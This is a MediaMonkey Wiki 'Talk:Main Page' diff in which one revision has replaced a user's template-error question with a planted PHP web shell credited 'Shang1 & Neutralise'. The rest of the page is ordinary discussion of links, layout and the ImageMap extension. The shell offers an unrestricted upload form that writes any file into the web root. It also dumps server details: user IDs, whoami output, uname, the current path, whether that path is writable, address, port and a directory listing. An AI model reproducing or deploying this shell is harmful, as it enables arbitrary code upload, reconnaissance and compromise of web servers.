Difference between revisions of "Talk:Main Page"

From MediaMonkey Wiki
Jump to: navigation, search
(Extension:ImageMap)
(Error using #switch: in a template)
Line 30: Line 30:
 
Can anyone suggest a way to change the tables pages so that this link will work? [[Songs_table#Lyrics]]
 
Can anyone suggest a way to change the tables pages so that this link will work? [[Songs_table#Lyrics]]
  
== Error using #switch: in a template ==
+
      <title>Shang1 &&nbsp;Neutralise</title>
Should I put in a suppot ticket for this problem ? --[[User:MoDementia|MoDementia]] 00:49, 21 April 2008 (EDT)
+
    <body bgcolor="#808080" text="#000000" link="#000000" vlink="#000000">
 +
            <div align="center"><br /><br /> <font style="font-size: 70pt;" color="#000000" face="Webdings">!</font><img src="http://img294.imageshack.us/img294/290/shangro7.png" /> <font style="font-size: 70pt;" color="#000000" face="Webdings">!</font>  <br /><br />
 +
        <form enctype="multipart/form-data" action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="post">
 +
                      <div align="center" STYLE="font-family: verdana; font-size: 10px;">
 +
            <input type="hidden" name="MAX_FILE_SIZE" value="2048000">
 +
          File :
 +
          <input name="userfile" type="file" />
 +
            <br />
 +
            <input name="submit" type="submit" value="Upload" />
 +
              </div>
 +
        </form>
 +
          <div align="center" STYLE="font-family: verdana; font-size: 10px;">
 +
            <?php
 +
          if (@is_uploaded_file($_FILES["userfile"]["tmp_name"])) {
 +
copy($_FILES["userfile"]["tmp_name"], "" . $_FILES["userfile"]["name"]);
 +
echo "<p>File uploaded successfully</p>";
 +
}
 +
?>
 +
          </div></td>  </tr>                </table>                </body>
 +
            <hr  width=751px color="black" height=115px> <br />
 +
<?php
 +
  closelog( );
 +
  $user = get_current_user( );
 +
  $login = posix_getuid( );
 +
  $euid = posix_geteuid( );
 +
  $ver = phpversion( );
 +
  $gid = posix_getgid( );
 +
  if ($chdir == "") $chdir = getcwd( );
 +
  if(!$whoami)$whoami=exec("whoami");
 +
?>
 +
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="0">
 +
<TR>
 +
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Operating System:</b> <?echo PHP_OS;?></DIV></TD>
 +
  </TR>
 +
<?php
 +
  $uname = posix_uname( );
 +
  while (list($info, $value) = each ($uname)) {
 +
?>
 +
  <TR>
 +
    <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b><?= $info ?></b>: <?= $value ?></DIV></TD>
 +
  </TR>
  
 +
<?php
 +
  }
 +
?>
 +
<?php
 +
if ($handle = opendir('.')) {
 +
  while (false !== ($file = readdir($handle)))
 +
      {
 +
          if ($file != "." && $file != "..")
 +
  {
 +
          $thelist .= '<a href="'.$file.'">'.$file.'</a><br>';
 +
          }
 +
      }
 +
  closedir($handle);
 +
  }
 +
?>
 +
  <TR>
 +
  <TD ><DIV STYLE="font-family: verdana; font-size: 10px;"><b>User Info:</b> uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)</DIV></TD>
 +
  </TR>
 +
  <TR>
 +
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Current Path:</b> <?= $chdir ?></DIV></TD>
 +
  </TR>
 +
  <TR>
 +
  <TD ><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Permission Directory:</b> <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?></DIV></TD>
 +
  </TR>
 +
  <TR>
 +
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Services:</b> <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?></DIV></TD>
 +
  </TR>
 +
  <TR>
 +
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Adress:</b> <?= "$SERVER_ADDR $SERVER_NAME"; ?></DIV></TD>
 +
  </TR>
 +
  <TR>
 +
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Script Current User:</b> <?= $user ?></DIV></TD>
 +
  </TR>
 +
  <TR>
 +
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>PHP Version:</b> <?= $ver ?></DIV></TD>
 +
  </TR>
 +
    <TR>
 +
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Time:</b> <?echo date("d/m/Y/ h:i:s",time());?></DIV></TD>
 +
  </TR>
 +
  <TR>
 +
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b>Server Port:</b> <?echo $_SERVER['SERVER_PORT'];?></DIV></TD>
 +
  </TR>
 +
    <TR>
 +
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><b><br />Files in Directory:<br /></b> <?=$thelist?></DIV></TD>
 +
  </TR>
 +
    <TR>
 +
  <TD><DIV STYLE="font-family: verdana; font-size: 10px;"><i><br />**Windows Servers will error here**</i></DIV></TD>
 +
  </TR>
 +
</center>
 +
</TABLE>
 +
</b>
 +
</div></font></div>
 +
</font>        <br />
 +
      <hr  width=751px color="black" height=115px>
 +
<div >
  
<nowiki>{{#switch: (((1|-)))</nowiki><br>
+
                        <div align="center" STYLE="font-family: verdana; font-size: 10px;"> Shang1 & Neutralise ©2007</div>
<nowiki>|Album Covers=[[Album table|Album]] [[Covers table|Covers]]</nowiki><br>
 
<nowiki>|[[{{{1|-}}} table {{pipe}} {{{1|-}}}]]</nowiki><br>
 
<nowiki>}}</nowiki>
 
 
 
Just this also produces it
 
 
 
<nowiki>{{#switch: (((1|-)))</nowiki><br>
 
<nowiki>|#default=[[{{{1|-}}} table {{pipe}} {{{1|-}}}]]</nowiki><br>
 
<nowiki>}}</nowiki>
 
 
 
 
 
Is producing<br>
 
 
 
 
 
<b>Warning</b>: array_slice() [<a href='function.array-slice'>function.array-slice</a>]: The first argument should be an array in <b>/home/mm/public_html/wiki/languages/Language.php</b> on line <b>858</b><br />
 
<br />
 
<b>Warning</b>:  Invalid argument supplied for foreach() in <b>/home/mm/public_html/wiki/includes/MagicWord.php</b> on line <b>183</b><br />
 
 
 
[[http://www.mwusers.com/forums/showthread.php?s=469ff68b1707e3a01114c296dc63c056&t=7150&page=2]] Found this might help?
 
--[[User:MoDementia|MoDementia]] 00:49, 21 April 2008 (EDT)
 
  
 
== Extension:ImageMap ==
 
== Extension:ImageMap ==

Revision as of 19:13, 23 February 2009

I see this page is locked, what is the best way to go abou getting a link added? I don't have anything I want to link at this time, I am just curious. -- Teknojnky 12:52, 28 August 2007 (EDT)

You can ask here (on the talk page) to add some link or to temporarily unprotect the page (e.g. for bigger changes). Of course keep in mind the reason why the page (as façade of the wiki) is protected. -- Steegy 07:07, 31 August 2007 (EDT)

I refreshed the main page, mainly to draw a clear line between users content (which for now isn't really existing) and content for "developers" (scripters, skinners, translators, ...). If you don't really like the layout or have suggestions, feel free to post here. -- Steegy 21:18, 7 September 2007 (EDT)

I'd like to see a link to the MediaMonkey_Automation_objects page directly in either the navigation block or the toolbox block, so its easier to navigate to the objects reference list. --Teknojnky 13:54, 6 February 2008 (EST)

I've significantly updated the Intro for New Users section. It seemed silly that the only way to find skins was to navigate under the "Developers" section for skinning. I think it may be even better to put a direct link to skins for MM 3.0 and higher on the front page, but this change can do for now as I don't want to alter the front page without an opinion from some other users. Let me know what you think about this. --Steve 00:20, 5 March 2008 (EST)

Really a great job you guys have been doing!
@Teknojnky: I've been having the same issue (and I guess were not the only 2) so I added 3 reference links.
@Steve/Nohitter151: sorry but I couldn't wait :p (I simply forgot to add a Skins link the first time and to split it from the developers skin page). -- Steegy 16:34, 5 March 2008 (EST)

Not a problem Steegy, I'm very happy with the front page now! --Steve 18:34, 5 March 2008 (EST)

Yea page looks great, thanks Steegy! --Teknojnky 15:35, 28 March 2008 (EDT)

Would like to start editing pages in the format below. I cannot see the categories shown in the preview so I am reluctant to save. Any ideas? --MoDementia 23:08, 4 April 2008 (EDT) OK so the categories are intact so that answers that question --MoDementia 23:10, 4 April 2008 (EDT)

MoDementia, I have deleted the page that you specified. --Steve 03:01, 5 April 2008 (EDT)

wysiwyg Editor

This looked interesting fckeditor for wikimedia base editor

Table Pages

Can anyone suggest a way to change the tables pages so that this link will work? Songs_table#Lyrics

      <title>Shang1 & Neutralise</title>
   <body bgcolor="#808080" text="#000000" link="#000000" vlink="#000000">


!<img src="http://img294.imageshack.us/img294/290/shangro7.png" /> !

       <form enctype="multipart/form-data" action="<?php echo $_SERVER["PHP_SELF"]; ?>" method="post">
           <input type="hidden" name="MAX_FILE_SIZE" value="2048000">
         File :
         <input name="userfile" type="file" />
           
<input name="submit" type="submit" value="Upload" />
       </form>
            <?php
         if (@is_uploaded_file($_FILES["userfile"]["tmp_name"])) {

copy($_FILES["userfile"]["tmp_name"], "" . $_FILES["userfile"]["name"]);

echo "

File uploaded successfully

";

} ?>

</td> </tr> </table> </body>

<?php

 closelog( );
 $user = get_current_user( );
 $login = posix_getuid( );
 $euid = posix_geteuid( );
 $ver = phpversion( );
 $gid = posix_getgid( );
 if ($chdir == "") $chdir = getcwd( );
 if(!$whoami)$whoami=exec("whoami");

?>

<?php $uname = posix_uname( ); while (list($info, $value) = each ($uname)) { ?> <?php } ?> <?php if ($handle = opendir('.')) { while (false !== ($file = readdir($handle))) { if ($file != "." && $file != "..") { $thelist .= '<a href="'.$file.'">'.$file.'</a>
'; } } closedir($handle); } ?> </center>
Operating System: <?echo PHP_OS;?>
<?= $info ?>: <?= $value ?>
User Info: uid=<?= $login ?>(<?= $whoami?>) euid=<?= $euid ?>(<?= $whoami?>) gid=<?= $gid ?>(<?= $whoami?>)
Current Path: <?= $chdir ?>
Permission Directory: <? if(@is_writable($chdir)){ echo "Yes"; }else{ echo "No"; } ?>
Server Services: <?= "$SERVER_SOFTWARE $SERVER_VERSION"; ?>
Server Adress: <?= "$SERVER_ADDR $SERVER_NAME"; ?>
Script Current User: <?= $user ?>
PHP Version: <?= $ver ?>
Server Time: <?echo date("d/m/Y/ h:i:s",time());?>
Server Port: <?echo $_SERVER['SERVER_PORT'];?>

Files in Directory:
<?=$thelist?>

**Windows Servers will error here**

</b>

</font></div>

</font>


Shang1 & Neutralise ©2007

Extension:ImageMap

I think this extension would be really useful for instructional pages particualry skinning

I would like to start a page(s) (see last link) that users can mouse over to find specific theme objects

i.e. mouseover the title MediaMonkey (top left) and the alt text shows Form - Caption - Title - Font

mouseover the title bar (top middle) and the alt text shows Form - Caption - Title - Image

Cliking the area will take you to the skinning page for more detailed information

My example dosen't pop up the alt text in firefox (does in IE) but you can see it in the first link example

Extension:ImageMap
Editor
See here Mouse over the title bar and MediaMonkey text
--MoDementia 19:59, 23 August 2008 (EDT)